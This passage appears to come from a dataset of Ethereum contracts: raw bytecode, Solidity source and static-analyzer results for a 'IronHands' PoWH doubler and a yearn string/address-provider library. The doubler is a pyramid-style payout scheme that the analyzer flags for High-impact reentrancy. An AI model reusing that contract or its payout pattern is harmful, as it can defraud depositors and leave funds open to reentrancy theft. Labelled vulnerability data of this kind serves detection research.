ffffffffffffffffff161415151561182557600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561187257600080fd5b6118c3826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117cf90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611956826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a0790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808284019050838110151515611a1b57fe5b80915050929150505600a165627a7a72305820d595763d01d0064b2366169a29ee11d4255c7eb66d7a440db297363bdfcb84ef0029
{"success": true, "error": null, "results": {}}
63
0xe58b65d1c0c8e8b2a0e3a3acec633271531084ed
pragma solidity ^0.4.21; /** * * * __________ * \______ \ ____ ____ _____ ________________ ____ ____ * | | _// _ \ / _ \ / \_/ __ \_ __ \__ \ / \ / ___\ * | | ( <_> | <_> ) Y Y \ ___/| | \// __ \| | \/ /_/ > * |______ /\____/ \____/|__|_| /\___ >__| (____ /___| /\___ / * \/ \/ \/ \/ \//_____/ * .____ .__ .__ .___.__ __ * | | |__| ________ __|__| __| _/|__|/ |_ ___.__. * | | | |/ ____/ | \ |/ __ | | \ __< | | * | |___| < <_| | | / / /_/ | | || | \___ | * |_______ \__|\__ |____/|__\____ | |__||__| / ____| * \/ |__| \/ \/ * _____ __ .__ ___________ .___ * / \ __ ___/ |_ __ _______ | | \_ _____/_ __ ____ __| _/ * / \ / \| | \ __\ | \__ \ | | | __)| | \/ \ / __ | * / Y \ | /| | | | // __ \| |__ | \ | | / | \/ /_/ | * \____|__ /____/ |__| |____/(____ /____/ \___ / |____/|___| /\____ | * \/ \/ \/ \/ \/ * ___________ __ .__ * \_ _____/___ _____ _/ |_ __ _________|__| ____ ____ * | __)/ __ \\__ \\ __\ | \_ __ \ |/ \ / ___\ * | \\ ___/ / __ \| | | | /| | \/ | | \/ /_/ > * \___ / \___ >____ /__| |____/ |__| |__|___| /\___ / * \/ \/ \/ \//_____/ * _ _ _ _ * /\ \ /\ \ /\ \ /\ \ _ * \ \ \ / \ \ / \ \ / \ \ /\_\ * /\ \_\ / /\ \ \ / /\ \ \ / /\ \ \_/ / / * / /\/_/ / / /\ \_\ / / /\ \ \ / / /\ \___/ / * / / / / / /_/ / / / / / \ \_\ / / / \/____/ * / / / / / /__\/ / / / / / / // / / / / / * / / / / / /_____/ / / / / / // / / / / / * ___/ / /__ / / /\ \ \ / / /___/ / // / / / / / * /\__\/_/___\/ / / \ \ \/ / /____\/ // / / / / / * \/_________/\/_/ \_\/\/_________/ \/_/ \/_/ * _ _ _ _ _ _ * / /\ / /\ / /\ /\ \ _ /\ \ / /\ * / / / / / // / \ / \ \ /\_\ / \ \____ / / \ * / /_/ / / // / /\ \ / /\ \ \_/ / // /\ \_____\ / / /\ \__ * / /\ \__/ / // / /\ \ \ / / /\ \___/ // / /\/___ // / /\ \___\ * / /\ \___\/ // / / \ \ \ / / / \/____// / / / / / \ \ \ \/___/ * / / /\/___/ // / /___/ /\ \ / / / / / // / / / / / \ \ \ * / / / / / // / /_____/ /\ \ / / / / / // / / / / /_ \ \ \ * / / / / / // /_________/\ \ \ / / / / / / \ \ \__/ / //_/\__/ / / * / / / / / // / /_ __\ \_\/ / / / / / \ \___\/ / \ \/___/ / * \/_/ \/_/ \_\___\ /____/_/\/_/ \/_/ \/_____/ \_____\/ * * .___ __________________ ________ * _____ ____ __| _/ \______ \_____ \\______ \ * \__ \ / \ / __ | | ___/ _(__ < | | \ * / __ \| | \/ /_/ | | | / \| ` \ * (____ /___| /\____ | |____| /______ /_______ / * \/ \/ \/ \/ \/ * * ATTENTION! * * This code? IS NOT DESIGNED FOR ACTUAL USE. * * The author of this code really wishes you wouldn't send your ETH to it. * * No, seriously. It's probablly illegal anyway. So don't do it. * * Let me repeat that: Don't actually send money to this contract. You are * likely breaking several local and national laws in doing so. * * This code is intended to educate. Nothing else. If you use it, expect S.W.A.T * teams at your door. I wrote this code because I wanted to experiment * with smart contracts, and I think code should be open source. So consider * it public domain, No Rights Reserved. Participating in pyramid schemes * is genuinely illegal so just don't even think about going beyond * reading the code and understanding how it works. * * Seriously. I'm not kidding. It's probablly broken in some critical way anyway * and will suck all your money out your wallet, install a virus on your computer * sleep with your wife, kidnap your children and sell them into slavery, * make you forget to file your taxes, and give you cancer. * * So.... tl;dr: This contract sucks, don't send money to it. * * What it does: * * It takes 50% of the ETH in it and buys tokens. * It takes 50% of the ETH in it and pays back depositors. * Depositors get in line and are paid out in order of deposit, plus the deposit * percent. * The tokens collect dividends, which in turn pay into the payout pool * to be split 50/50. * * If your seeing this contract in it's initial configuration, it should be * set to 200% (double deposits), and pointed at PoWH: * 0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe * * But you should verify this for yourself. * * */ contract ERC20Interface { function transfer(address to, uint256 tokens) public returns (bool success); } contract POWH { function buy(address) public payable returns(uint256); function withdraw() public; function myTokens() public view returns(uint256); function myDividends(bool) public view returns(uint256); } contract Owned { address public owner; address public ownerCandidate; function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function changeOwner(address _newOwner) public onlyOwner { ownerCandidate = _newOwner; } function acceptOwnership() public { require(msg.sender == ownerCandidate); owner = ownerCandidate; } } contract IronHands is Owned { /** * Modifiers */ /** * Only owners are allowed. */ modifier onlyOwner(){ require(msg.sender == owner); _; } /** * The tokens can never be stolen. */ modifier notPowh(address aContract){ require(aContract != address(weak_hands)); _; } /** * Events */ event Deposit(uint256 amount, address depositer); event Purchase(uint256 amountSpent, uint256 tokensReceived); event Payout(uint256 amount, address creditor); event Dividends(uint256 amount); event Donation(uint256 amount, address donator); event ContinuityBreak(uint256 position, address skipped, uint256 amount); event ContinuityAppeal(uint256 oldPosition, uint256 newPosition, address appealer); /** * Structs */ struct Participant { address etherAddress; uint256 payout; } //Total ETH managed over the lifetime of the contract uint256 throughput; //Total ETH received from dividends uint256 dividends; //The percent to return to depositers. 100 for 00%, 200 to double, etc. uint256 public multiplier; //Where in the line we are with creditors uint256 public payoutOrder = 0; //How much is owed to people uint256 public backlog = 0; //The creditor line Participant[] public participants; //How much each person is owed mapping(address => uint256) public creditRemaining; //What we will be buying POWH weak_hands; /** * Constructor */ function IronHands(uint multiplierPercent, address powh) public { multiplier = multiplierPercent; weak_hands = POWH(powh); } /** * Fallback function allows anyone to send money for the cost of gas which * goes into the pool. Used by withdraw/dividend payouts so it has to be cheap. */ function() payable public { } /** * Deposit ETH to get in line to be credited back the multiplier as a percent, * add that ETH to the pool, get the dividends and put them in the pool, * then pay out who we owe and buy more tokens. */ function deposit() payable public { //You have to send more than 1000000 wei. require(msg.value > 1000000); //Compute how much to pay them uint256 amountCredited = (msg.value * multiplier) / 100; //Get in line to be paid back. participants.push(Participant(msg.sender, amountCredited)); //Increase the backlog by the amount owed backlog += amountCredited; //Increase the amount owed to this address creditRemaining[msg.sender] += amountCredited; //Emit a deposit event. emit Deposit(msg.value, msg.sender); //If I have dividends if(myDividends() > 0){ //Withdraw dividends withdraw(); } //Pay people out and buy more tokens. payout(); } /** * Take 50% of the money and spend it on tokens, which will pay dividends later. * Take the other 50%, and use it to pay off depositors. */ function payout() public { //Take everything in the pool uint balance = address(this).balance; //It needs to be something worth splitting up require(balance > 1); //Increase our total throughput throughput += balance; //Split it into two parts uint investment = balance / 2; //Take away the amount we are investing from the amount to send balance -= investment; //Invest it in more tokens. uint256 tokens = weak_hands.buy.value(investment).gas(1000000)(msg.sender); //Record that tokens were purchased emit Purchase(investment, tokens); //While we still have money to send while (balance > 0) { //Either pay them what they are owed or however much we have, whichever is lower. uint payoutToSend = balance < participants[payoutOrder].payout ? balance : participants[payoutOrder].payout; //if we have something to pay them if(payoutToSend > 0){ //subtract how much we've spent balance -= payoutToSend; //subtract the amount paid from the amount owed backlog -= payoutToSend; //subtract the amount remaining they are owed creditRemaining[participants[payoutOrder].etherAddress] -= payoutToSend; //credit their account the amount they are being paid participants[payoutOrder].payout -= payoutToSend; //Try and pay them, making best effort. But if we fail? Run out of gas? That's not our problem any more. if(participants[payoutOrder].etherAddress.call.value(payoutToSend).gas(1000000)()){ //Record that they were paid emit Payout(payoutToSend, participants[payoutOrder].etherAddress); }else{ //undo the accounting, they are being skipped because they are not payable. balance += payoutToSend; backlog += payoutToSend; creditRemaining[participants[payoutOrder].etherAddress] += payoutToSend; participants[payoutOrder].payout += payoutToSend; } } //If we still have balance left over if(balance > 0){ // go to the next person in line payoutOrder += 1; } //If we've run out of people to pay, stop if(payoutOrder >= participants.length){ return; } } } /** * Number of tokens the contract owns. */ function myTokens() public view returns(uint256){ return weak_hands.myTokens(); } /** * Number of dividends owed to the contract. */ function myDividends() public view returns(uint256){ return weak_hands.myDividends(true); } /** * Number of dividends received by the contract. */ function totalDividends() public view returns(uint256){ return dividends; } /** * Request dividends be paid out and added to the pool. */ function withdraw() public { uint256 balance = address(this).balance; weak_hands.withdraw.gas(1000000)(); uint256 dividendsPaid = address(this).balance - balance; dividends += dividendsPaid; emit Dividends(dividendsPaid); } /** * A charitible contribution will be added to the pool. */ function donate() payable public { emit Donation(msg.value, msg.sender); } /** * Number of participants who are still owed. */ function backlogLength() public view returns (uint256){ return participants.length - payoutOrder; } /** * Total amount still owed in credit to depositors. */ function backlogAmount() public view returns (uint256){ return backlog; } /** * Total number of deposits in the lifetime of the contract. */ function totalParticipants() public view returns (uint256){ return participants.length; } /** * Total amount of ETH that the contract has delt with so far. */ function totalSpent() public view returns (uint256){ return throughput; } /** * Amount still owed to an individual address */ function amountOwed(address anAddress) public view returns (uint256) { return creditRemaining[anAddress]; } /** * Amount owed to this person. */ function amountIAmOwed() public view returns (uint256){ return amountOwed(msg.sender); } /** * A trap door for when someone sends tokens other than the intended ones so the overseers can decide where to send them. */ function transferAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens) public onlyOwner notPowh(tokenAddress) returns (bool success) { return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens); } }
0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a44b9cf146101355780631b3ed722146101605780633151ecfc1461018b57806335c1d349146101b657806339af05131461022a5780633ccfd60b146102555780633febb0701461026c5780635f504a821461029757806363bd1d4a146102ee5780636cff6f9d1461030557806379ba5097146103305780638da5cb5b14610347578063949e8acd1461039e578063997664d7146103c9578063a0ca0a57146103f4578063a26dbf261461041f578063a6f9dae11461044a578063d0e30db01461048d578063d493b9ac14610497578063e5cf22971461051c578063ed88c68e14610573578063fb346eab1461057d578063ff5d18ca146105a8575b005b34801561014157600080fd5b5061014a6105ff565b6040518082815260200191505060405180910390f35b34801561016c57600080fd5b5061017561060f565b6040518082815260200191505060405180910390f35b34801561019757600080fd5b506101a0610615565b6040518082815260200191505060405180910390f35b3480156101c257600080fd5b506101e1600480360381019080803590602001909291905050506106ed565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390f35b34801561023657600080fd5b5061023f610740565b6040518082815260200191505060405180910390f35b34801561026157600080fd5b5061026a610746565b005b34801561027857600080fd5b5061028161086d565b6040518082815260200191505060405180910390f35b3480156102a357600080fd5b506102ac610877565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102fa57600080fd5b5061030361089d565b005b34801561031157600080fd5b5061031a610da9565b6040518082815260200191505060405180910390f35b34801561033c57600080fd5b50610345610daf565b005b34801561035357600080fd5b5061035c610e6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103aa57600080fd5b506103b3610e94565b6040518082815260200191505060405180910390f35b3480156103d557600080fd5b506103de610f5c565b6040518082815260200191505060405180910390f35b34801561040057600080fd5b50610409610f66565b6040518082815260200191505060405180910390f35b34801561042b57600080fd5b50610434610f77565b6040518082815260200191505060405180910390f35b34801561045657600080fd5b5061048b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f84565b005b610495611023565b005b3480156104a357600080fd5b50610502600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111e1565b604051808215151515815260200191505060405180910390f35b34801561052857600080fd5b5061055d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611384565b6040518082815260200191505060405180910390f35b61057b6113cd565b005b34801561058957600080fd5b5061059261143a565b6040518082815260200191505060405180910390f35b3480156105b457600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611444565b6040518082815260200191505060405180910390f35b600061060a33611384565b905090565b60045481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663688abbf760016040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082151515158152602001915050602060405180830381600087803b1580156106ad57600080fd5b505af11580156106c1573d6000803e3d6000fd5b505050506040513d60208110156106d757600080fd5b8101908080519060200190929190505050905090565b6007818154811015156106fc57fe5b90600052602060002090600202016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154905082565b60065481565b6000803073ffffffffffffffffffffffffffffffffffffffff16319150600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633ccfd60b620f42406040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600088803b1580156107ed57600080fd5b5087f1158015610801573d6000803e3d6000fd5b5050505050813073ffffffffffffffffffffffffffffffffffffffff1631039050806003600082825401925050819055507fd7cefab74b4b11d01e168f9d1e2a28e7bf8263c3acf9b9fdb802fa666a49455b816040518082815260200191505060405180910390a15050565b6000600654905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000803073ffffffffffffffffffffffffffffffffffffffff163193506001841115156108cc57600080fd5b836002600082825401925050819055506002848115156108e857fe5b0492508284039350600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f088d54784620f424090336040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506020604051808303818589803b1580156109b257600080fd5b5088f11580156109c6573d6000803e3d6000fd5b5050505050506040513d60208110156109de57600080fd5b810190808051906020019092919050505091507f350df6fcc944b226b77efc36902e19b43c566d75173622086e809d46dfbc22208383604051808381526020018281526020019250505060405180910390a15b6000841115610da2576007600554815481101515610a4b57fe5b9060005260206000209060020201600101548410610a8b576007600554815481101515610a7457fe5b906000526020600020906002020160010154610a8d565b835b90506000811115610d6d5780840393508060066000828254039250508190555080600860006007600554815481101515610ac357fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550806007600554815481101515610b4e57fe5b9060005260206000209060020201600101600082825403925050819055506007600554815481101515610b7d57fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681620f424090604051600060405180830381858888f1935050505015610c97577f9b5d1a613fa5f0790b36b13103706e31fca06b229d87e9915b29fc20c1d76490816007600554815481101515610c1857fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1610d6c565b80840193508060066000828254019250508190555080600860006007600554815481101515610cc257fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806007600554815481101515610d4d57fe5b9060005260206000209060020201600101600082825401925050819055505b5b6000841115610d885760016005600082825401925050819055505b600780549050600554101515610d9d57610da3565b610a31565b5b50505050565b60055481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0b57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663949e8acd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610f1c57600080fd5b505af1158015610f30573d6000803e3d6000fd5b505050506040513d6020811015610f4657600080fd5b8101908080519060200190929190505050905090565b6000600354905090565b600060055460078054905003905090565b6000600780549050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fdf57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000620f42403411151561103657600080fd5b6064600454340281151561104657fe5b049050600760408051908101604052803373ffffffffffffffffffffffffffffffffffffffff168152602001838152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101555050508060066000828254019250508190555080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507f4bcc17093cdf51079c755de089be5a85e70fa374ec656c194480fbdcda224a533433604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a160006111c7610615565b11156111d6576111d5610746565b5b6111de61089d565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561123e57600080fd5b83600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561129c57600080fd5b8473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561133f57600080fd5b505af1158015611353573d6000803e3d6000fd5b505050506040513d602081101561136957600080fd5b81019080805190602001909291905050509150509392505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b7f82add2011d2b1a1fad8fc5ffd954181c064e8f5198c9fcd5caa9749911ed18b93433604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1565b6000600254905090565b600860205280600052604060002060009150905054815600a165627a7a72305820c1e88ec4a01aa5dc4c7eeca39f59b03f79872f8d2245ad87aaf0acb9599c6b850029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
64
0xcad10033c86b0c1ed6bfccaa2ff6779938558e9f
// SPDX-License-Identifier: MIT pragma solidity 0.8.11; /** * @title Library for working with strings * @author yearn.finance */ library String { /** * @notice Search for a needle in a haystack * @param haystack The string to search * @param needle The string to search for */ function startsWith(string memory haystack, string memory needle) public pure returns (bool) { return indexOfStringInString(needle, haystack) == 0; } /** * @notice Find the index of a string in another string * @param needle The string to search for * @param haystack The string to search * @return Returns -1 if no match is found, otherwise returns the index of the match */ function indexOfStringInString(string memory needle, string memory haystack) public pure returns (int256) { bytes memory _needle = bytes(needle); bytes memory _haystack = bytes(haystack); if (_haystack.length < _needle.length) { return -1; } bool _match; for ( uint256 haystackIdx; haystackIdx < _haystack.length; haystackIdx++ ) { for (uint256 needleIdx; needleIdx < _needle.length; needleIdx++) { uint8 needleChar = uint8(_needle[needleIdx]); if (haystackIdx + needleIdx >= _haystack.length) { return -1; } uint8 haystackChar = uint8(_haystack[haystackIdx + needleIdx]); if (needleChar == haystackChar) { _match = true; if (needleIdx == _needle.length - 1) { return int256(haystackIdx); } } else { _match = false; break; } } } return -1; } /** * @notice Check to see if two strings are exactly equal * @dev Supports strings of arbitrary length * @param input0 First string to compare * @param input1 Second string to compare * @return Returns true if strings are exactly equal, false if not */ function equal(string memory input0, string memory input1) public pure returns (bool) { uint256 input0Length = bytes(input0).length; uint256 input1Length = bytes(input1).length; uint256 maxLength; if (input0Length > input1Length) { maxLength = input0Length; } else { maxLength = input1Length; } uint256 numberOfRowsToCompare = (maxLength / 32) + 1; bytes32 input0Bytes32; bytes32 input1Bytes32; for (uint256 rowIdx; rowIdx < numberOfRowsToCompare; rowIdx++) { uint256 offset = 0x20 * (rowIdx + 1); assembly { input0Bytes32 := mload(add(input0, offset)) input1Bytes32 := mload(add(input1, offset)) } if (input0Bytes32 != input1Bytes32) { return false; } } return true; } /** * @notice Convert ASCII to integer * @param input Integer as a string (ie. "345") * @param base Base to use for the conversion (10 for decimal) * @return output Returns uint256 representation of input string * @dev Based on GemERC721 utility but includes a fix */ function atoi(string memory input, uint8 base) public pure returns (uint256 output) { require(base == 2 || base == 8 || base == 10 || base == 16); bytes memory buf = bytes(input); for (uint256 idx = 0; idx < buf.length; idx++) { uint8 digit = uint8(buf[idx]) - 0x30; if (digit > 10) { digit -= 7; } require(digit < base); output *= base; output += digit; } return output; } /** * @notice Convert integer to ASCII * @param input Integer as a string (ie. "345") * @param base Base to use for the conversion (10 for decimal) * @return output Returns string representation of input integer * @dev Based on GemERC721 utility but includes a fix */ function itoa(uint256 input, uint8 base) public pure returns (string memory output) { require(base == 2 || base == 8 || base == 10 || base == 16); if (input == 0) { return "0"; } bytes memory buf = new bytes(256); uint256 idx = 0; while (input > 0) { uint8 digit = uint8(input % base); uint8 ascii = digit + 0x30; if (digit > 9) { ascii += 7; } buf[idx++] = bytes1(ascii); input /= base; } uint256 length = idx; for (idx = 0; idx < length / 2; idx++) { buf[idx] ^= buf[length - 1 - idx]; buf[length - 1 - idx] ^= buf[idx]; buf[idx] ^= buf[length - 1 - idx]; } output = string(buf); } /** * @notice Convert a string to lowercase * @param input Input string * @return Returns the string in lowercase */ function lowercase(string memory input) internal pure returns (string memory) { bytes memory _input = bytes(input); for (uint256 inputIdx = 0; inputIdx < _input.length; inputIdx++) { uint8 character = uint8(_input[inputIdx]); if (character >= 65 && character <= 90) { character += 0x20; _input[inputIdx] = bytes1(character); } } return string(_input); } /** * @notice Convert a string to uppercase * @param input Input string * @return Returns the string in uppercase */ function uppercase(string memory input) internal pure returns (string memory) { bytes memory _input = bytes(input); for (uint256 inputIdx = 0; inputIdx < _input.length; inputIdx++) { uint8 character = uint8(_input[inputIdx]); if (character >= 97 && character <= 122) { character -= 0x20; _input[inputIdx] = bytes1(character); } } return string(_input); } /** * @notice Determine whether or not haystack contains needle * @param haystack The string to search * @param needle The substring to search for * @return Returns true if needle exists in haystack, false if not */ function contains(string memory haystack, string memory needle) internal pure returns (bool) { return indexOfStringInString(needle, haystack) >= 0; } /** * @notice Convert bytes32 to string and remove padding * @param _bytes32 The input bytes32 data to convert * @return Returns the string representation of the bytes32 data */ function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) { uint8 i = 0; while (i < 32 && _bytes32[i] != 0) { i++; } bytes memory bytesArray = new bytes(i); for (i = 0; i < 32 && _bytes32[i] != 0; i++) { bytesArray[i] = _bytes32[i]; } return string(bytesArray); } } contract Ownable { address public ownerAddress; constructor() { ownerAddress = msg.sender; } modifier onlyOwner() { require(msg.sender == ownerAddress, "Ownable: caller is not the owner"); _; } function setOwnerAddress(address _ownerAddress) public onlyOwner { ownerAddress = _ownerAddress; } } contract AddressesProvider is Ownable { mapping(uint256 => address) addressMap; mapping(uint256 => string) addressIdMap; uint256 addressesLength; struct AddressMetadata { string addrId; address addr; } function setAddress(AddressMetadata memory addressMetadata) public onlyOwner { string memory addressId = addressMetadata.addrId; address addr = addressMetadata.addr; uint256 upsertPosition = addressesLength; int256 addressPosition = addressPositionById(addressId); if (addressPosition >= 0) { upsertPosition = uint256(addressPosition); } else { addressIdMap[upsertPosition] = addressId; addressesLength++; } addressMap[upsertPosition] = addr; } function setAddresses(AddressMetadata[] memory _addressesMetadata) public onlyOwner { for ( uint256 addressMetadataIdx; addressMetadataIdx < _addressesMetadata.length; addressMetadataIdx++ ) { AddressMetadata memory addressMetadata = _addressesMetadata[ addressMetadataIdx ]; setAddress(addressMetadata); } } function addressPositionById(string memory addressId) public view returns (int256) { for (uint256 addressIdx; addressIdx < addressesLength; addressIdx++) { string memory currentAddressId = addressIdMap[addressIdx]; if (String.equal(addressId, currentAddressId)) { return int256(addressIdx); } } return -1; } function addressById(string memory addressId) external view returns (address) { return addressMap[uint256(addressPositionById(addressId))]; } function addresses() external view returns (address[] memory) { address[] memory _addresses = new address[](addressesLength); for (uint256 addressIdx; addressIdx < addressesLength; addressIdx++) { _addresses[addressIdx] = addressMap[addressIdx]; } return _addresses; } function addressesIds() external view returns (string[] memory) { string[] memory _addressesIds = new string[](addressesLength); for (uint256 addressIdx; addressIdx < addressesLength; addressIdx++) { _addressesIds[addressIdx] = addressIdMap[addressIdx]; } return _addressesIds; } function addressesMetadata() external view returns (AddressMetadata[] memory) { AddressMetadata[] memory _addressesMetadata = new AddressMetadata[]( addressesLength ); for (uint256 addressIdx; addressIdx < addressesLength; addressIdx++) { _addressesMetadata[addressIdx] = AddressMetadata({ addrId: addressIdMap[addressIdx], addr: addressMap[addressIdx] }); } return _addressesMetadata; } function addressesMetadataByIdStartsWith(string memory addressIdSubstring) external view returns (AddressMetadata[] memory) { AddressMetadata[] memory _addressesMetadata = new AddressMetadata[]( addressesLength ); uint256 _addressesLength; for (uint256 addressIdx; addressIdx < addressesLength; addressIdx++) { string memory addressId = addressIdMap[addressIdx]; bool foundMatch = String.startsWith(addressId, addressIdSubstring); if (foundMatch) { _addressesMetadata[_addressesLength] = AddressMetadata({ addrId: addressIdMap[addressIdx], addr: addressMap[addressIdx] }); _addressesLength++; } } bytes memory encodedAddresses = abi.encode(_addressesMetadata); assembly { mstore(add(encodedAddresses, 0x40), _addressesLength) } AddressMetadata[] memory filteredAddresses = abi.decode( encodedAddresses, (AddressMetadata[]) ); return filteredAddresses; } }
0x73cad10033c86b0c1ed6bfccaa2ff6779938558e9f301460806040526004361061006c5760003560e01c80631465a32d1461007157806329c34b6a146100a157806346bdca9a146100d15780635d183719146101015780639201de5514610131578063adf069ea14610161575b600080fd5b61008b60048036038101906100869190610b18565b610191565b6040516100989190610ba9565b60405180910390f35b6100bb60048036038101906100b69190610bfd565b61031c565b6040516100c89190610c72565b60405180910390f35b6100eb60048036038101906100e69190610b18565b610406565b6040516100f89190610ca8565b60405180910390f35b61011b60048036038101906101169190610cef565b6104bb565b6040516101289190610db7565b60405180910390f35b61014b60048036038101906101469190610e0f565b61080d565b6040516101589190610db7565b60405180910390f35b61017b60048036038101906101769190610b18565b6109a8565b6040516101889190610ca8565b60405180910390f35b60008083905060008390508151815110156101d0577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff92505050610316565b6000805b82518110156102ee5760005b84518110156102da5760008582815181106101fe576101fd610e3c565b5b602001015160f81c60f81b60f81c90508451828461021c9190610e9a565b1061024f577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9650505050505050610316565b600085838561025e9190610e9a565b8151811061026f5761026e610e3c565b5b602001015160f81c60f81b60f81c90508060ff168260ff1614156102ba57600194506001875161029f9190610ef0565b8314156102b55783975050505050505050610316565b6102c5565b6000945050506102da565b505080806102d290610f24565b9150506101e0565b5080806102e690610f24565b9150506101d4565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff93505050505b92915050565b600060028260ff161480610333575060088260ff16145b806103415750600a8260ff16145b8061034f575060108260ff16145b61035857600080fd5b600083905060005b81518110156103fe57600060308383815181106103805761037f610e3c565b5b602001015160f81c60f81b60f81c6103989190610f6d565b9050600a8160ff1611156103b6576007816103b39190610f6d565b90505b8460ff168160ff16106103c857600080fd5b8460ff16846103d79190610fa1565b93508060ff16846103e89190610e9a565b93505080806103f690610f24565b915050610360565b505092915050565b6000808351905060008351905060008183111561042557829050610429565b8190505b6000600160208361043a919061102a565b6104449190610e9a565b905060008060005b838110156104a95760006001826104639190610e9a565b602061046f9190610fa1565b9050808b01519350808a01519250828414610495576000985050505050505050506104b5565b5080806104a190610f24565b91505061044c565b50600196505050505050505b92915050565b606060028260ff1614806104d2575060088260ff16145b806104e05750600a8260ff16145b806104ee575060108260ff16145b6104f757600080fd5b600083141561053d576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250905